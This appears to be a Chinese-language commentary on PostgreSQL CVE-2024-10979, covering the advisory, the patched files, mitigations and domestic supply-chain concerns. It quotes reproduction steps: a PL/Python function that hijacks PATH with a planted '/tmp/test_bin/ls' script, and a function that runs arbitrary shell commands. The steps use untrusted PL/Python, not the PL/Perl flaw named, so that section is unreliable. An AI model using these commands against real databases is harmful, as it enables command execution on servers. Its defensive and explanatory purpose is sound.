2024年11月初，Varonis的安全研究员佩莱格与艾布拉姆斯发现了PostgreSQL可信语言扩展PL/Perl中的漏洞，该漏洞允许在PostgreSQL会话进程中设置任意环境变量。PostgreSQL17.1公告明确致谢了艾布拉姆斯（ Coby Abrams）报告了这一问题。
该漏洞被跟踪为CVE-2024-10979，CVSS评分为8.8，高危，为重大风险，它可能允许非特权的数据库用户修改环境变量，从而导致执行任意代码或敏感信息泄露，即使攻击者没有数据库服务器操作系统用户，也足以执行任意代码。 PostgreSQL 17.1、16.5、15.9、14.14、13.17和12.21之前的版本受到影响。
如何重现这一漏洞呢？Fabian Mora在它的博客中写道：
1.以具有创建函数权限的用户身份连接到PostgreSQL数据库。
psql -U [username] -d [database_name]
2.创建一个PL/Python函数来修改PATH环境变量：
CREATE FUNCTION test_env_python() RETURNS void AS $$
import os
os.environ['PATH'] = '/tmp/test_bin:' + os.environ['PATH']
$$ LANGUAGE plpython3u;
3.通过在/tmp/test_bin中创建一个自定义脚本并通过PostgreSQL执行它来验证更改。创建脚本：
mkdir /tmp/test_bin
echo -e '#!/bin/bash\n echo "Custom script executed!"' > /tmp/test_bin/ls
chmod +x /tmp/test_bin/ls
4.通过PostgreSQL函数执行脚本：
CREATE FUNCTION run_shell_command(cmd TEXT) RETURNS void AS $$
import subprocess
subprocess.run(cmd, shell=True)
$$ LANGUAGE plpython3u;
SELECT run_shell_command('ls');
5、预期结果：执行/tmp/test_bin中的自定义ls脚本，演示环境变量操作允许自定义命令执行。
漏洞发现后，Postgresql全球开发组如保响应与处理的呢？Postgresql全球开发组于11日前后几天，对这一问题进行了分析和处置，并于11月14日发布了所有受支持PostgreSQL版本的更新，包括17.1、16.5、15.9、14.14、13.17和12.21，这些版本修复了过去几个月内报告的4个安全漏洞和超过35个错误。
观察Postgresql开发组Maillist之一及源码对比，发现其修改的程序不限于以下内容：
Modified Files
\--------------
doc/src/sgml/plperl.sgml
src/pl/plperl/GNUmakefile
src/pl/plperl/expected/plperl_env.out
src/pl/plperl/meson.build
src/pl/plperl/plc_trusted.pl
src/pl/plperl/sql/plperl_env.sql
src/test/regress/regress.c
7 files changed, 175 insertions(+), 2 deletions(-）
涉及多个文件、代码，有变更、删减和新增加。
如果短时间无法通过升级修补漏洞，建议的缓解措施如下：
限制扩展：将PL/Python和PL/Perl函数的创建仅限于受信任的用户。此外，配置shared_preload_libraries参数以仅加载必要的扩展。
最小误差原则：将CREATE FUNCTION权限限制在基本用户以限制创建函数，减少攻击面。
清理环境变量：确保环境变量被正确清理，并且修改权限受到限制。
升级：如果PostgreSQL全球开发组发布了修复程序，请更新到最新版本，延迟更新使关键系统和数据面临风险。
审计：定期审计用户创建的功能，以检测和防止潜在的利用。
截至12月3日国内的应对情况如保呢？我们观察到中国信息安全测评中心的漏洞信息查询中输入完整“CVE-2024-10979”编号的情况下，找到了该漏洞的发现与出处。指向了NVD，即美国政府基于标准的漏洞管理数据库 链接: https://nvd.nist.gov/vuln/detail/CVE-2024-10979；而国内基于PG的数据库厂商尚未提供或未声明针对CVE-2024-10979等漏洞的缓解和处置方案。
我们建议：对于未对内核做大修改的产品，建议升级内核；对于较大改动，甚至魔改的产品，建议采用上述缓解措施，如限制扩展、遵循最小误差原则、清理环境变量，增强审计功能，有能力情况下再升级到：17.1、16.5或15.9。
这样一个高危漏洞，其发现、监控到处理过程中几乎全程没有中国身影，这不禁让人担忧我们的系统与数据安全。哪么如何解决我们的系统与数据安全问题呢？我们的机制应如何应对呢？
国内对于安全的顾虑：一是系统安全：即数据库及其部署的软件硬件环境符合国家、行业强制安全标准，满足PIPL等法规，保障业务持续与数据安全。这方面实践很多，不赘述；二是供应链安全，也即由我国可控提供数据库软件，从设计、研发、测试、质检、发布、使用、修复等全生命周期的软件供应。
事实上数据库软件从设计到修复的全过程中大多是由国外商业或开源软件提供的，那么假如商业软件停止供应，开源软件能否替代？开源软件是否有闭源风险呢？历史上看，任何风险都有可能，而应对策略则不止一项，选项一：完全依赖自己，但必然承受巨大长期阵痛，甚至是由于生态缺位、人才分散等原因导致不了了之；选项二：在需求侧守住系统与数据安全底线的情况下，在供应铡吸收、融入并贡献全球生态。我更倾向于后者。
